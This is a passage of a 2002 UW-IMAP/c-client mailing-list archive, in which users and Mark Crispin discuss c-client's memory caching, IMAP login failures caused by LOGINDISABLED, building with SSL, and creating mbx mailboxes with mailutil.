Message-Id: <200212101255580948.2C5E5E3E@192.168.1.2> Date: Tue, 10 Dec 2002 12:55:58 -0600 Reply-To: swalker@bynari.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> Content-Type: text/plain; charset="us-ascii" X-Envelope-To: MRC@CAC.Washington.EDU, c-client@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 12/10/2002 at 10:47 AM Mark Crispin wrote: >On Tue, 10 Dec 2002, Shawn Walker wrote: >> Then how does one get cclient to free the memory after it retrieve a VERY >> large message from the server? I debugged into cclient saw how the >message >> is being stored in memory and how to free it and the only way was to run >> the garbage collector. > >What do you mean by "VERY large"? > >Whenever you run the garbage collector, you destroy the entire cache, >which means that c-client is forced to re-fetch any data that it needs >again. Unless you mean at least "tens of megabytes" by "VERY large", you >are causing more harm than good by doing so. > >And even if it is that big, what if the user references it again? > >Note that when you expunge a message, any cache associated with that >message is freed. > >Memory is cheap. Use it. > >-- Mark -- That is the "problem". I have had several customers running low on resources when the application was downloading a very large INBOX folder (the folder contains several thousands messages with very large messages that contains attachments). The user was getting memory getting low on the windows machine. I was able to recreate the problem what the customers was having and it was a problem. I had to get cclient to free the memory to keep that from happening. Shawn From pinedev@shivax2.cac.washington.edu Tue Dec 10 11:15:21 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 11:15:21 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAJFKqt030477 for ; Tue, 10 Dec 2002 11:15:21 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 10 11:15:20 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAJFJS9029107 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 11:15:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAJDig2083242; Tue, 10 Dec 2002 11:13:45 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAJBlrw042772 for ; Tue, 10 Dec 2002 11:11:47 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 10 11:11:46 2002 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAJBkDe010937 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Dec 2002 11:11:46 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.170]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAJBk5C001671 for ; Tue, 10 Dec 2002 11:11:46 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Dec 10 11:11:45 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (D-140-142-21-98.dhcp4.washington.edu [140.142.21.98]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAJBimZ029123 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 10 Dec 2002 11:11:45 -0800 Message-Id: Date: Tue, 10 Dec 2002 11:11:50 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: <200212101255580948.2C5E5E3E@192.168.1.2> References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Dec 2002, Shawn Walker wrote: > That is the "problem". I have had several customers running low on > resources when the application was downloading a very large INBOX folder > (the folder contains several thousands messages with very large messages > that contains attachments). Why is the application "downloading"? Are you using IMAP like IMAP, or like a fancy POP? The c-client library is intended to be used for interactive access, and not really for POP-like "downloading". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 10 12:19:12 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 12:19:12 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAKJCqt001106 for ; Tue, 10 Dec 2002 12:19:12 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 10 12:19:11 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAKJB0B018961 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 12:19:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAKGvHH024372; Tue, 10 Dec 2002 12:16:57 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAKEtrw043498 for ; Tue, 10 Dec 2002 12:14:55 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 10 12:14:55 2002 -0800 Received: from taos.pintnight.com (adsl-66-140-57-102.dsl.rcsntx.swbell.net [66.140.57.102]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAKEs8I010563 for ; Tue, 10 Dec 2002 12:14:54 -0800 Received: from ravms by taos.pintnight.com with mail-ok (Exim 3.36 #3) id 18Lqw8-0004YG-00; Tue, 10 Dec 2002 20:25:00 +0000 Received: from redhook ([192.168.1.4] helo=bass ident=trilluser) by taos.pintnight.com with esmtp (Exim 3.36 #3) id 18Lqw8-0004YA-00; Tue, 10 Dec 2002 20:25:00 +0000 Message-Id: <200212101414550348.2CA6A3CF@192.168.1.2> Date: Tue, 10 Dec 2002 14:14:55 -0600 Reply-To: swalker@bynari.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> Content-Type: text/plain; charset="us-ascii" X-Envelope-To: MRC@CAC.Washington.EDU, c-client@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 12/10/2002 at 11:11 AM Mark Crispin wrote: >On Tue, 10 Dec 2002, Shawn Walker wrote: >> That is the "problem". I have had several customers running low on >> resources when the application was downloading a very large INBOX folder >> (the folder contains several thousands messages with very large messages >> that contains attachments). > >Why is the application "downloading"? Are you using IMAP like IMAP, or >like a fancy POP? > >The c-client library is intended to be used for interactive access, and >not really for POP-like "downloading". > >-- Mark -- > The user selected to download all messages and body. So, that is what the app is doing. The users do that to do "off-line" mode. But, cclient is still hold the messages, even if the user manually select each message to read, cclient cache them. How to get cclient to free the memories? Shawn From pinedev@shivax2.cac.washington.edu Wed Dec 11 17:51:13 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Dec 2002 17:51:13 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBC1pDqt024648 for ; Wed, 11 Dec 2002 17:51:13 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Dec 11 17:51:12 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBC1pBS9015202 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 11 Dec 2002 17:51:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBC1nYaQ030202; Wed, 11 Dec 2002 17:49:34 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBC1kfrw041452 for ; Wed, 11 Dec 2002 17:46:41 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Dec 11 17:46:40 2002 -0800 Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBC1keMb005946 for ; Wed, 11 Dec 2002 17:46:40 -0800 Received: from user-0ccsq3o.cable.mindspring.com ([24.206.104.120] helo=houston.rr.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 18MIQx-0002ds-00 for c-client@u.washington.edu; Wed, 11 Dec 2002 17:46:40 -0800 Message-Id: <3DF7ECE2.9090409@houston.rr.com> Date: Wed, 11 Dec 2002 19:56:50 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Oskar Teran To: UW-IMAP list Subject: can't login to imap compiled with SSL MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND LOGIN-REFERRALS STARTTLS LOGINDISABLED a1 OK CAPABILITY completed hello people, above is the output of the CABABILITY command on my server. I'm trying to login via telnet to create mbx mailboxes but I keep getting a "NO LOGIN failed" message when I try to login. Could someone please tell me what I'm doing wrong? I've installed the uw-imap with SSL on a redhat 7.3 if this info. helps........ Regards, Oskar -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Dec 14 03:28:25 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 14 Dec 2002 03:28:25 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEBSPqt013671 for ; Sat, 14 Dec 2002 03:28:25 -0800 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Sat Dec 14 03:28:23 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBEBSES9002041 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 14 Dec 2002 03:28:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEBQOHH032650; Sat, 14 Dec 2002 03:26:24 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEBNerw044118 for ; Sat, 14 Dec 2002 03:23:40 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Sat Dec 14 03:23:40 2002 -0800 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBEBNU8I007894 for ; Sat, 14 Dec 2002 03:23:39 -0800 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id gBEBOis25267; Sat, 14 Dec 2002 12:24:44 +0100 Message-Id: <3DFB149E.4000301@fl.priv.at> Date: Sat, 14 Dec 2002 12:23:10 +0100 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: Re: can't login to imap compiled with SSL In-Reply-To: <3DF7ECE2.9090409@houston.rr.com> References: <3DF7ECE2.9090409@houston.rr.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Oskar Teran wrote: > * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT > THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND LOGIN-REFERRALS > STARTTLS LOGINDISABLED > a1 OK CAPABILITY completed > > above is the output of the CABABILITY command on my server. I'm trying > to login via telnet to create mbx mailboxes but I keep getting a "NO > LOGIN failed" message when I try to login. Could someone please tell me > what I'm doing wrong? Have a look a the capabilities, especially LOGINDISABLED. You might need to use a command like the following instead of telnet: openssl s_client -host HOSTNAME -port 993 -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Sat Dec 14 04:14:33 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 14 Dec 2002 04:14:33 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBECEWqt015867 for ; Sat, 14 Dec 2002 04:14:32 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Sat Dec 14 04:14:32 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBECEV0B020862 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 14 Dec 2002 04:14:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBECCbHH028274; Sat, 14 Dec 2002 04:12:38 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBECAcrw013278 for ; Sat, 14 Dec 2002 04:10:38 -0800 Received: FROM mxu5.u.washington.edu BY mailscan3.cac.washington.edu ; Sat Dec 14 04:10:38 2002 -0800 Received: from mac.morsberger.com (bgp01541418bgs.gambrl01.md.comcast.net [68.48.22.184]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBECAbGo012920 for ; Sat, 14 Dec 2002 04:10:37 -0800 Received: from [10.0.1.4] ([10.0.1.4] verified) by mac.morsberger.com (Stalker SMTP Server 1.7) with ESMTP id S.0000084116 for ; Sat, 14 Dec 2002 07:09:13 -0500 Message-Id: Date: Sat, 14 Dec 2002 07:09:11 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morsberger To: C-Client/UW-IMAP Mailing Liste Subject: Re: can't login to imap compiled with SSL In-Reply-To: <3DFB149E.4000301@fl.priv.at> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am having a similar problem. I would like to use both SSL and the open port. This allows the users to use a client (within the intranet) that does not support SSL. I looked at the config / build options and I could not figure it out. Any ideas? > From: Friedrich Lobenstock > Reply-To: C-Client/UW-IMAP Mailing Liste > Date: Sat, 14 Dec 2002 12:23:10 +0100 > To: C-Client/UW-IMAP Mailing Liste > Subject: Re: can't login to imap compiled with SSL > > Oskar Teran wrote: >> * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT >> THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND LOGIN-REFERRALS >> STARTTLS LOGINDISABLED >> a1 OK CAPABILITY completed >> >> above is the output of the CABABILITY command on my server. I'm trying >> to login via telnet to create mbx mailboxes but I keep getting a "NO >> LOGIN failed" message when I try to login. Could someone please tell me >> what I'm doing wrong? > > Have a look a the capabilities, especially LOGINDISABLED. You > might need to use a command like the following instead of telnet: > > openssl s_client -host HOSTNAME -port 993 > > -- > MfG / Regards > Friedrich Lobenstock > From pinedev@shivax2.cac.washington.edu Sat Dec 14 07:25:39 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 14 Dec 2002 07:25:39 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEFPdqt019960 for ; Sat, 14 Dec 2002 07:25:39 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Sat Dec 14 07:25:38 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBEFPWS9006713 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 14 Dec 2002 07:25:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEFNgg2086134; Sat, 14 Dec 2002 07:23:42 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEFLPrw013216 for ; Sat, 14 Dec 2002 07:21:25 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Sat Dec 14 07:21:24 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBEFLNEj007127 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 14 Dec 2002 07:21:24 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEFLNVM008076 for ; Sat, 14 Dec 2002 07:21:23 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Sat Dec 14 07:21:21 2002 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBEFLMmZ029889 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Sat, 14 Dec 2002 07:21:22 -0800 Message-Id: Date: Sat, 14 Dec 2002 07:21:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Morsberger Cc: C-Client/UW-IMAP Mailing Liste Subject: Re: can't login to imap compiled with SSL In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 14 Dec 2002, David Morsberger wrote: > I am having a similar problem. I would like to use both SSL and the open > port. This allows the users to use a client (within the intranet) that does > not support SSL. > > I looked at the config / build options and I could not figure it out. Please refer to imap-2002a/docs/SSLBUILD and also to the Makefile. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sat Dec 14 10:41:30 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 14 Dec 2002 10:41:30 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEIfUqt023595 for ; Sat, 14 Dec 2002 10:41:30 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Sat Dec 14 10:41:29 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBEIfR0B027616 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 14 Dec 2002 10:41:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEIdqHH041250; Sat, 14 Dec 2002 10:39:52 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBEIbgrw040954 for ; Sat, 14 Dec 2002 10:37:42 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Dec 14 10:37:42 2002 -0800 Received: from conure.mail.pas.earthlink.net (conure.mail.pas.earthlink.net [207.217.120.54]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBEIbfEi030703 for ; Sat, 14 Dec 2002 10:37:41 -0800 Received: from user-0ccsq3o.cable.mindspring.com ([24.206.104.120] helo=houston.rr.com) by conure.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 18NHAT-00008f-00 for c-client@u.washington.edu; Sat, 14 Dec 2002 10:37:41 -0800 Message-Id: <3DFB7CDF.5060606@houston.rr.com> Date: Sat, 14 Dec 2002 12:47:59 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Oskar Teran To: C-Client/UW-IMAP Mailing Liste Subject: Re: can't login to imap compiled with SSL References: <3DF7ECE2.9090409@houston.rr.com> <3DFB149E.4000301@fl.priv.at> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Friedrich Lobenstock wrote: > Oskar Teran wrote: > >> * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT >> THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND LOGIN-REFERRALS >> STARTTLS LOGINDISABLED >> a1 OK CAPABILITY completed >> >> above is the output of the CABABILITY command on my server. I'm >> trying to login via telnet to create mbx mailboxes but I keep >> getting a "NO LOGIN failed" message when I try to login. Could >> someone please tell me what I'm doing wrong? > > > Have a look a the capabilities, especially LOGINDISABLED. You > might need to use a command like the following instead of telnet: > > openssl s_client -host HOSTNAME -port 993 > Hi, Mark got me the solution to this......mailutil. It wasn't compiled on my system, but after doing that....it worked great. I was able to make the mbx mailboxes for the department emails and regular mailboxes for users..... He suggested the ssl client too..........but on my system it wasn't installed. The mailtutil was less messy to deal with. Regards, Oskar From pinedev@shivax2.cac.washington.edu Mon Dec 30 14:34:33 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Dec 2002 14:34:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUMYX2U023956 for ; Mon, 30 Dec 2002 14:34:33 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUMYSqe005421 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 30 Dec 2002 14:34:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id gBUMWuDb096528; Mon, 30 Dec 2002 14:32:56 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUMTsCK019940 for ; Mon, 30 Dec 2002 14:29:54 -0800 Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUMToRN001569 for ; Mon, 30 Dec 2002 14:29:50 -0800 Received: from user-0ccsq3o.cable.mindspring.com ([24.206.104.120] helo=houston.rr.com) by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 18T8Pt-000293-00 for c-client@u.washington.edu; Mon, 30 Dec 2002 14:29:49 -0800 Message-Id: <3E10C892.5040009@houston.rr.com> Date: Mon, 30 Dec 2002 16:28:34 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Oskar Teran To: UW-IMAP list Subject: converting mbox to mbx.... MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XXIIIIII, Probability=26%, Report="RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SPAM_PHRASE_00_01, X_ACCEPT_LANG, __EVITE_CTYPE" hello people, If Mark sees this...I did as you told me ...by using the mailutil to create the mbx mailboxes. However, all the new mbx mailboxes are in /, not in the /home/USER directory. Of course the /home/user is where the mbox (INBOX) files are, some with mail already. So...how can I get the system to use the new mbx mailboxes? I've tried running the mbxcvt but it won't work. [root@mail imap-2002.RC10]# ls an dmail imapd makefile.nt mbxcopy OSTYPE tmail c-client docs imapxfer makefile.ntk mbxcreat README tools chkmail icat ipopd makefile.os2 mbxcvt SPECIALS WARNING CONTENTS ifrom mailutil makefile.w2k mlock src CPYRIGHT imapcopy Makefile makefile.wce mtest SUPPORT [root@mail imap-2002.RC10]# this is where it is....here is what's inside the thing [root@mail mbxcvt]# ls CPYRIGHT Makefile mbxcvt.1 mbxcvt.c [root@mail mbxcvt]# I'm sorry about asking all this stuff.....I'm not an IMAP guru....1st time using this stuff. I've read the IMAP book from o'reilly, but it's for the previous version of imap. I installed the new one.....a lot of things in the book don't work the same in the new imap version. Thanks, Oskar -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 30 15:22:50 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Dec 2002 15:22:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNMo2U025506 for ; Mon, 30 Dec 2002 15:22:50 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNMkHh030498 (version=TLSv1/SSLv3 